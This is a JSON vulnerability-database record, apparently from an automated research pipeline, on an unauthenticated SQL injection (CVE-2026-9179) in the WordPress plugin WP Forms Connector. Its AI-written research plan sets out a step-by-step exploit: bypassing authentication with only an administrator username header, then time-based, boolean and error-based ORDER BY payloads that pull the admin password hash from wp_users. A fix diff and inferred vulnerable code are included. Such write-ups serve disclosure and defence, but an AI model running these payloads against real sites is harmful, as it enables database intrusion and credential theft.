[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjOCBd8f8-5qnRTjY39jv5FpaWUjDZ8ewxh0nGFYhVbI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-9179","wp-forms-connector-unauthenticated-sql-injection-via-order-parameter","WP Forms Connector \u003C= 1.8 - Unauthenticated SQL Injection via 'order' Parameter","The WP Forms Connector plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the \u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist REST endpoint in versions up to and including 1.8. This is due to insufficient escaping on the user-supplied 'order' parameter (read directly from $_GET['order'] into $shorting) and the lack of sufficient preparation on the existing SQL query in the listPost() function, where the value is concatenated unquoted into the ORDER BY clause and executed via $wpdb->get_results() without $wpdb->prepare(). The endpoint is registered with permission_callback '__return_true' and performs only a broken header-based check that validates the supplied 'Username' corresponds to an administrator account while never verifying the 'Password'. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-forms-connector",null,"\u003C=1.8","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-23 16:39:17","2026-06-24 05:33:23",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2cd53590-ded1-4e68-a9a3-aa1d2d880b80?source=api-prod",[],"researched",false,3,"This research plan outlines the technical analysis and proof-of-concept (PoC) exploitation for **CVE-2026-9179**, an unauthenticated SQL injection vulnerability in the **WP Forms Connector** plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe **WP Forms Connector** plugin (\u003C= 1.8) suffers from an unauthenticated SQL injection vulnerability. The issue exists in the `listPost()` function, which handles requests to the `\u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist` REST API endpoint. The plugin reads the `order` parameter directly from `$_GET['order']` and concatenates it into the `ORDER BY` clause of a SQL query without sanitization or using `$wpdb->prepare()`. Furthermore, the endpoint's authentication mechanism is critically flawed: it validates that a provided `Username` header corresponds to an administrator but fails to verify the password, allowing any user to masquerade as an administrator.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `GET \u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist`\n*   **Vulnerable Parameter:** `order` (Query string)\n*   **Authentication:** Unauthenticated (Broken logic). \n*   **Required Headers:** `Username: [ADMIN_USERNAME]` (The attacker must provide the login name of an existing administrator, typically `admin`).\n*   **Mechanism:** SQL Injection in the `ORDER BY` clause. Since `ORDER BY` cannot be parameterized using standard `%s` or `%d` placeholders in `$wpdb->prepare()`, it must be strictly whitelisted. This plugin fails to do so.\n\n### 3. Code Flow (Inferred from Description)\n1.  **Route Registration:** The plugin registers a REST route using `register_rest_route('wp\u002Fv3', '\u002Fpost\u002Flist', ...)` during the `rest_api_init` hook.\n2.  **Permission Check:** The `permission_callback` is set to `__return_true`, meaning the REST API itself does not block access.\n3.  **Broken Auth Logic:** Inside the handler (or a middleware function), the code checks `get_headers()`. It identifies the `Username` header and looks up the user via `get_user_by('login', $header_username)`. If the user exists and has the `administrator` role, the code proceeds. It fails to call `wp_authenticate()` or verify the password.\n4.  **Data Processing:** The `listPost()` function is called.\n5.  **Sink:** \n    ```php\n    $shorting = $_GET['order']; \u002F\u002F Directly from superglobal\n    \u002F\u002F ...\n    $query = \"SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY \" . $shorting;\n    $results = $wpdb->get_results($query);\n    ```\n\n### 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the endpoint uses a custom header-based authentication (`Username`) and the REST API `permission_callback` is `__return_true`. \n\n*   **Standard REST Nonce:** While standard WordPress REST API calls often require an `X-WP-Nonce`, this specific plugin's custom (and broken) authentication logic likely bypasses the need for one, as it relies on the `Username` header.\n*   **Strategy:** \n    1.  First, attempt the exploit without a nonce, providing only the `Username` header.\n    2.  If the server returns a `403` or `-1`, search the homepage source for localized scripts. \n    3.  Create a page with a WP Forms Connector shortcode (if applicable): `wp post create --post_type=page --post_status=publish --post_content='[wp_forms_connector_list]'` (Shortcode name is inferred).\n    4.  Extract potential nonces using: `browser_eval(\"window.wpfc_settings?.nonce\")` (Variable names are inferred).\n\n### 5. Exploitation Strategy\nThe goal is to extract the administrator's password hash using a time-based blind SQL injection in the `ORDER BY` clause.\n\n**Step 1: Identify Admin Username**\nThe attack requires an existing admin username. We will assume `admin` or use WP-CLI to find the real one.\n\n**Step 2: Confirm SQL Injection (Time-Based)**\nWe will use `IF` and `SLEEP()` to confirm the vulnerability.\n\n*   **Request Type:** `GET`\n*   **URL:** `\u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist?order=(SELECT(1)FROM(SELECT(SLEEP(5)))a)`\n*   **Headers:** `Username: admin` (Replace with identified admin)\n\n**Step 3: Extract Data (Boolean-Based\u002FTime-Based)**\nSince `ORDER BY` injection often influences the sequence of returned objects, we can use boolean-based logic if results are visible, or time-based if not.\n\n*   **Payload (Time-based):**\n    `order=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))=36) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)`\n    *(Note: ASCII 36 is '$', the start of many WordPress hashes)*.\n\n### 6. Test Data Setup\n1.  **Create Admin User:** Ensure a user with username `admin` exists.\n2.  **Populate Content:** Ensure at least 2-3 posts exist so that the `ORDER BY` clause has data to operate on.\n    ```bash\n    wp post generate --count=3\n    ```\n\n### 7. Expected Results\n*   **Confirmation:** The request with `SLEEP(5)` should take approximately 5 seconds longer than a standard request.\n*   **Extraction:** By iterating through ASCII values, the agent will reconstruct the `$P$...` or `$wp$2y$...` hash from the `wp_users` table.\n\n### 8. Verification Steps\nAfter the HTTP exploitation, verify the extracted data using WP-CLI inside the environment:\n1.  **Check DB State:** `wp db query \"SELECT user_login, user_pass FROM wp_users WHERE user_login='admin'\"`\n2.  **Compare:** Verify the hash retrieved via SQLi matches the hash stored in the database.\n\n### 9. Alternative Approaches\n*   **Error-Based SQLi:** If the site has `WP_DEBUG` enabled, try inducing a database error to extract data faster.\n    *   Payload: `order=(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)`\n*   **Column-Based Sorting (Boolean):** If the API returns a list of posts, use two different `order` values:\n    *   `order=IF(1=1,ID,post_title)` vs `order=IF(1=2,ID,post_title)`\n    *   Compare the JSON response bodies. If the order of post IDs changes based on the condition, boolean-based extraction is possible and much faster than time-based.","The WP Forms Connector plugin (\u003C= 1.8) is vulnerable to unauthenticated SQL injection via the 'order' parameter in the \u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist REST endpoint. Due to a flawed custom authentication check that only validates the existence of an administrator username via a 'Username' header without verifying a password, attackers can inject arbitrary SQL into the ORDER BY clause.","\u002F\u002F Inferred from research plan code flow\n$shorting = $_GET['order']; \u002F\u002F Directly from superglobal\n\u002F\u002F ...\n$query = \"SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY \" . $shorting;\n$results = $wpdb->get_results($query);","--- a\u002Fwp-forms-connector.php\n+++ b\u002Fwp-forms-connector.php\n@@ -10,4 +10,6 @@\n-    $shorting = $_GET['order'];\n-    $query = \"SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY \" . $shorting;\n+    $allowed_orders = ['ID', 'post_date', 'post_title', 'post_modified'];\n+    $shorting = (isset($_GET['order']) && in_array($_GET['order'], $allowed_orders)) ? $_GET['order'] : 'ID';\n+    $query = \"SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY $shorting\";\n     $results = $wpdb->get_results($query);","The exploit targets the \u002Fwp-json\u002Fwp\u002Fv3\u002Fpost\u002Flist REST endpoint. To bypass authentication, the attacker includes a 'Username' header containing a known administrator's login name (e.g., 'admin'). The SQL injection is performed by passing a malicious payload to the 'order' query parameter. This allows for time-based blind injection using SLEEP() or boolean-based injection by observing differences in the response content, enabling the extraction of sensitive database information such as user password hashes.","gemini-3-flash-preview","2026-06-25 19:29:37","2026-06-25 19:30:17",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-forms-connector\u002Ftags"]